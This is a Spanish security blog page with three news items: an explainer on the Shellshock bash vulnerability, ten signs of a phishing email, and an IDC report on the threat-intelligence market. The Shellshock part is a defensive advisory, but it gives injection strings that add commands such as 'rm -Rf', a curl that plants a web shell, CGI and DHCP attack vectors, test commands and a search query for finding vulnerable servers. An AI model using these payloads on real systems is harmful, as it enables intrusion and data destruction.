Vulnerabilidad ShellShock!

Ayer se anunció una vulnerabilidad en GNU Bourne Again Shell (Bash) (CVE-2014-7169) originalmente encontrada por el francés Stephane Schazelas. La vulnerabilidad permite la ejecución de código arbitrario en Bash al establecer variables de entorno específicos. Más tarde Travis Ormandy lanzó un segundo exploit que funcionaba en sistemas parcheados porque los parches lanzados ayer eran incompletos.

Tod Beardsley, administrador de ingeniería en la firma de ciberseguridad Rapid7, advirtió de que el error tenía una nota de gravedad “10”, lo que significa que tiene un impacto máximo, y una calificación “baja” en complejidad de explotación, lo que significa que es relativamente fácil de utilizar por piratas informáticos para lanzar ataques.

“Al usar esta vulnerabilidad, los atacantes potencialmente pueden tomar el control del sistema operativo, acceder a información confidencial, hacer cambios, etc. Cualquiera con sistemas que ocupen Bash deben aplicar el parche inmediatamente”, dijo Beardsley.

¿Cúal el problema?

Como menciona David Garcia en Hispasec, al crear crear una función en el intérprete, exportarla e invocarla:

$function test { echo "hola";}
$ export –f test
$ bash
$ test
  hola

El problema está en el mecanismo que hace de exportación de esa función, la forma en la que lo hace y como interpreta el código que se inyecta en el entorno donde es exportada.

Para conseguir esa exportación de funciones bash recurre a un pequeño “truco”. No exporta la función en sí, sino en una variable de entorno donde se interpreta su valor como el cuerpo de una función. Vamos a verlo modificando el ejemplo anterior, en vez de una función vamos a crear una variable de entorno:

$ test='() {echo "hola";}'

Exportamos, no una función sino una variable que es lo que haría el intérprete:

$ export test
$ bash
$ test
  hola

Cuando el entorno recibe esta variable y el interprete detecta la siguiente cadena ‘() {‘ entiende que está ante una función y comienza a interpretar su código. El problema y aquí entramos en la zona peligrosa, es que no para de interpretar cuando termina el cuerpo de la función y continua ejecutando el código que viene detrás del cuerpo.

Por ejemplo, si el intérprete tiene la siguiente variable-función exportada con código más allá de la definición de la función:

'(){ echo "hola"; }; /bin/ls'

Terminará ejecutando el ‘/bin/ls’ cuando se esté interpretando esa cadena. No hará falta invocar la función, justo cuando el interprete procese las cadenas detrás del cuerpo de la función ejecutará el comando. Idealmente, debería de terminar justo cuando encuentre el ‘};’ correspondiente pero inexplicablemente no lo hace y peor aun ejecuta directamente ese código anexado al cuerpo de la función.

El ejemplo que se propagó es la mínima expresión de definición de una función en bash “() { :;};”

El bloque de la función definida contiene el carácter “:” que en bash no hace nada, simplemente devolver cero (su correspondiente en C sería un “return 0;”). A esa cadena por supuesto se le puede adosar cualquier comando, desde un echo “yo estuve aquí” hasta un devastador “rm –Rf” o un“curl****/mi_shell.php” para depositarla en “/var/www/”.

Muchas formas de atacar

En las pocas horas que lleva In-the-Wild, ya han aparecido exploit y PoC para lograr (RCE) Remote Code Execution (RCE), ataques web que permiten subir código y shell a sitios web, y troyanos que permiten realizar ataques de DDoS, BruteForce sobre usuarios y contraseñas de la red y robo de información a distintas direcciones IP que han ido cambiando durante el día e incluso ya se han vistogusanos explotando la vulnerabilidad. Basicamente estamos hablando de un troyano ELF que permiteDDoS, Flooder, Scanner, Bot-Backdoor y Login bruter, R00ter.

En esta imagen se puede ver la lista de contraseñas que intenta el troyano:

Otro de los troyanos bautizados como ELF_BASHLITE, ELF Linux/Bash0day o Shellshock o Bashroot ha sido analizado por TrendMicro.

¿Cuál es el impacto de la vulnerabilidad?

Al principio, la vulnerabilidad no parece tan grave pero la realidad es que se puede ejecutarse código remoto simplemente establecimiento de una variable de entorno y sin que el usuario se percate de la situación.

El escenario más problemático parece ser cuando un Bash Scripts es ejecutado mediante cgi-bin. La especificación CGI requiere que el servidor web convierta la solicitud de los headers HTTPsuministrados por el cliente y las transforme en variables de entorno.

Entonces, se puede aprovechar que Apache “transforma” las cabeceras en variables de entorno: por ejemplo el User-Agent se introducirá como valor de la variable de entorno HTTP_USER_AGENT de Apache. Si un script Bash se llama vía cgi-bin, un atacante puede utilizar estas variables para ejecutar código que el servidor web.

Otros escenarios probables involucran SSH al momento de establecer variables de entorno, pero tendrían que establecerse en el servidor en un archivo de configuración. Otra alternativa es medianteclientes DHCP que en algunos casos ejecutan scripts Bash y utilizan variables de entorno suministradas por el servidor.

Esta PoC de TrustSec muestra como se puede insertar código en la opción 114 (default-url) del servidor DHCP para explotar la vulnerabilidad. Este caso puede ser explotable si el usuario se conecta a un servidor DHCP no confiable (“cofeehouse wifi”).

En las últimas horas ya se han producido ataques basados en la vulnerabilidad a routers de particulares y controladores utilizados en la gestión de instalaciones de infraestructuras críticas, haciendo barridos aleatorios en Internet en busca de equipos con la vulnerabilidad para tomar el control de los mismos y lanzar ataques de DoS.

¿Debo aplicar el parche?

Sí pero el parche va a arreglar sólo algunos de los aspectos de la vulnerabilidad y no soluciona totalmente la vulnerabilidad. Aún se desconocen los efectos secundarios del parche y de las distintas opciones de ataques que podrían existir.

La mayoría de distribuciones Linux ya han distribuido un primer parche, aunque está incompleto y no acaba de corregir del todo la vulnerabilidad.

Por su parte los usuarios de Apple estan expuestos ya que los de Cupertino no han dado ninguna respuesta aunque estos sistemas suelen estar menos expuestos a Internet, y en última instancia ya hayinstrucciones para parchear su instalación.

Mientras se esperan las actualizaciones definitivas se puede utilizar este script para prevenir y mitigar el impacto.

¿Cuáles son mis otras opciones? ¿Qué debo hacer?

Puesto que el parche es incompleto, se debería intentar implementar medidas adicionales para proteger los sistemas. Algunos vendedores de sistema de detección de intrusiones (IDS) y Firewall de aplicaciones Web (WAF) han publicado las reglas para bloquear la explotación pero las reglas aún podrían estar incompletas porque sólo buscan la cadena “() {“ que estaba presente en la prueba inicial.

Una alternativa sería cambiar la shell por defecto para una alternativa como ksh o sh pero esto podría generar errores en algunas secuencias de comandos determinadas.

En sistemas embebidos se podría utiliza la shell alternativa como Busybox que no es vulnerable.

¿Cómo puedo encontrar sistemas vulnerables?

Si puede iniciar sesión en el sistema y se puede utilizar algunas de las cadenas de test publicadas, como la siguiente:

env x='() { ;;}; echo vulnerable' sh -c "echo this is a test"

Si ya se ha aplicado el parche, se puede utilizar este comando:

env X='() { (a)=>\' sh -c "echo date";

Este comando devolverá un error en un sistema totalmente parcheado, pero creará un archivo vacío denominado “echo”.

Existen varios módulos para escáneres de vulnerabilidad que buscan sistemas vulnerables. También se puede utilizar una búsqueda en Google para encontrar servidores web vulnerables. Por ejemplo:filetype:sh inurl:cgi-bin site:[su_dominio].

Además se debe controlar los servidores web en sistemas embebidos como routers para que no pueden ejecutar secuencias de comandos bash con privilegios elevados.

Más información

Distintos medios se han hecho eco de la noticia publicando distinto tipo de información e ISC hapublicado un video al respecto y slides PDF con más información. Redhat por su parte mantiene la información permanentemente actualizada.

Además, se puede utilizar esta herramienta y esta otra para revisar los servidores propios.

FUENTE: Cristian de la Redacción de Segu-Info

Guía para detectar un ataque de phishing.

Durante 2013 se produjeron 450.000 ataques de phishing en todo el mundo que, en su conjunto, supusieron unas pérdidas de 5.900 millones de dólares, según informe de RSA.

Datos preocupantes de una amenaza cada vez más sofisticada que no para de crecer y es cada vez más sofisticada, como vimos la semana pasada con motivo de la Copa del Mundo de Fútbol 2014. Como todos los ataques de phishing, los sitios falsos destinados a estafar a los internautas imitan dominios auténticos del evento, incluyendo a sus patrocinadores y socios -marcas conocidas – para tratar de atraer a los usuarios y que estos compartan sus datos privados como nombres de usuario, contraseñas y números de tarjetas de crédito. 

Incluso comienzan con “https”, donde la “s” significa “seguro”, ya que los ciberdelincuentes consiguen adquirir certificados SSL válidos de las autoridades de certificación. Una grave amenaza que podemos contrarrestar siguiendo unas normas básicas como las que nos proponen la startup especializada en email marketing Mailify y que son básicamente las que te hemos indicado por aquí en varias ocasiones.

10 pistas que permiten detectar un phishing

  1. Dirección del remitente: Si la dirección de email no contiene el nombre de la empresa, es un correo electrónico no fiable. Por ejemplo, una dirección real de iTunes es:do_not_reply@itunes.com. Por tanto, aunque el nombre del remitente sea iTunes, si el email es info@informatica.es, se trata de un caso de phishing.
  2. Saludo genérico: Los emailings profesionales suelen estar personalizados con el nombre del destinatario. Hay que sospechar de emails que empiecen por ‘Estimado cliente’ o ‘Estimado usuario’.
  3. Información personal: El objetivo del phishing es conseguir los datos personales y contraseñas de los receptores. Una empresa no pedirá información de este tipo vía email.
  4. Carácter urgente: Las empresas suelen solicitar por teléfono los datos personales o de carácter urgente. Si un cliente recibe un email en el que se especifica un plazo determinado para realizar una acción que no estaba prevista, probablemente será un caso de phishing.
  5. Amenazas encubiertas: Las marcas hacen todo lo posible para fidelizar a sus clientes. Por ello, no pensarán en borrar o desactivar la cuenta de uno de sus clientes de buenas a primeras. Si un usuario recibe un email que contiene amenazas de este tipo, es mejor eliminarlo.
  6. Enlaces incoherentes: Un phishing contiene generalmente un enlace en el que el nombre de la empresa no concuerda con el de la URL. Además, el ‘https://’ suele convertirse en ‘http://’,(‘s’ de seguro). Si el correo no tiene enlaces resulta sospechoso. Por otra parte, un enlace visible puede llevar a otra URL que no tenga nada que ver, ya que se puede poner un link en cualquier texto.
  7. Errores gramaticales o de ortografía: Los phishing suelen contener múltiples faltas, mayúsculas y signos de puntuación en exceso.
  8. Archivos adjuntos: Se ha de tener cuidado a la hora de abrir archivos adjuntos, aunque aparezcan como ‘formularios de verificación’. Una empresa grande no gestionará miles de formularios en formato Word cuando resulta más sencillo hacerlo desde un formulario online.
  9. Firma: Un email de empresa sin información complementaria del remitente o firmado por un simple ‘atención al cliente’, no es un email corporativo.
  10. Sin consentimiento: Según la Ley, los usuarios han de dar su consentimiento previo a una empresa a través del opt-in para empezar a recibir sus comunicaciones. Si se recibe un email de una marca a la que no se está suscrito, es mejor eliminarlo.

¿Qué hacer ante un ataque de phishing?

Un emailing real debe contar con el consentimiento explícito del destinatario e incluir un enlace de baja. “Si un usuario recibe un mail sospechoso, lo mejor es no clicar ningún enlace, no abrir ningún archivo adjunto y, sobre todo, no dar información personal”, explica Paul de Fombelle, director general deMailify. “Marcar el email como ‘correo no deseado’ y eliminarlo es la forma más eficaz de evitar un posible de ataque de phishing. Si se cae en la trampa, la mejor solución es cambiar las contraseñas, consultar la cuenta bancaria y alertar a la compañía a la que han imitado”, añade.

Autor: Juan Ranchal
Fuente: MuySeguridad.net

Los servicios de seguridad inteligentes toman impulso.

A escala global, el mercado de servicios de seguridad inteligentes contra amenazas alcanzará este año 2014 los 905 millones de dólares y superará los 1.400 millones en 2018. Así lo indica un reciente informe elaborado por la consultora IDC (“Iterative Intelligence. Threat Intelligence Comes of Age”), que se hace eco de la grave situación que están sufriendo muchas empresas y organizaciones públicas debido a las abundantes y constante ciberamenazas que reciben, una tendencia que está impulsando el crecimiento de los llamados servicios de seguridad inteligentes, diseñados especialmente para detectar amenazas persistentes avanzadas (Advanced Persistent Threats, APT, en inglés), malware avanzado y otros ataques ya conocidos con anterioridad.

Este creciente mercado de servicios de seguridad inteligentes alberga bajo su paraguas a todo un elenco de prestaciones, desde feeds de datos y publicaciones, hasta servicios de consultoría en seguridad y otros servicios gestionados. Para IDC se trata de un segmento de mercado que ha ido tomando fuerza y adquiriendo otro cariz con la tendencia de “la inteligencia iterativa”, según lo denomina la consultora. Se trata de un proceso iterativo que aprende de experiencias y errores cometidos en el pasado e incorpora este nuevo conocimiento de forma más rápida, lo que tiene como fruto mejores soluciones y a más largo plazo. En palabras de Christina Richmond, directora de

Programa de Servicios de Seguridad en IDC, “la inteligencia en amenazas es una actividad esencial de la comunidad. La información de ataques puede venir de diversas fuentes y lo que hace la inteligencia iterativa es organizar este proceso caótico de compartición de información con el objetivo de ayudar a las organizaciones a tomar futuras decisiones”.

Un nicho en absoluta expansión

El informe de IDC añade que los servicios de consultoría inteligente de seguridad contra amenazas supusieron el 22% de los ingresos de servicios de seguridad en 2013, una cifra nada desdeñable. La compañías del ámbito de la consultoría en seguridad ya empiezan a ser conscientes de esta tendencia y están reforzando estas áreas y creando alianzas con universidades y programas de certificación para encontrar nuevo personal especializado ante el aumento previsible de la necesidad de profesionales dedicados a este segmento.

Por último, IDC recomienda en su estudio que la llamada “inteligencia iterativa” esté disponible para todo tipo de empresas, es decir, no solo las de mayor tamaño sino también las medianas y pequeñas, que cada vez ven con mayor frecuencia cómo aumentan los ataques que los ciberdelincuentes realizan, sobre todo los relacionados con el fraude y el robo de propiedad intelectual.
  
Fuente: TicBeat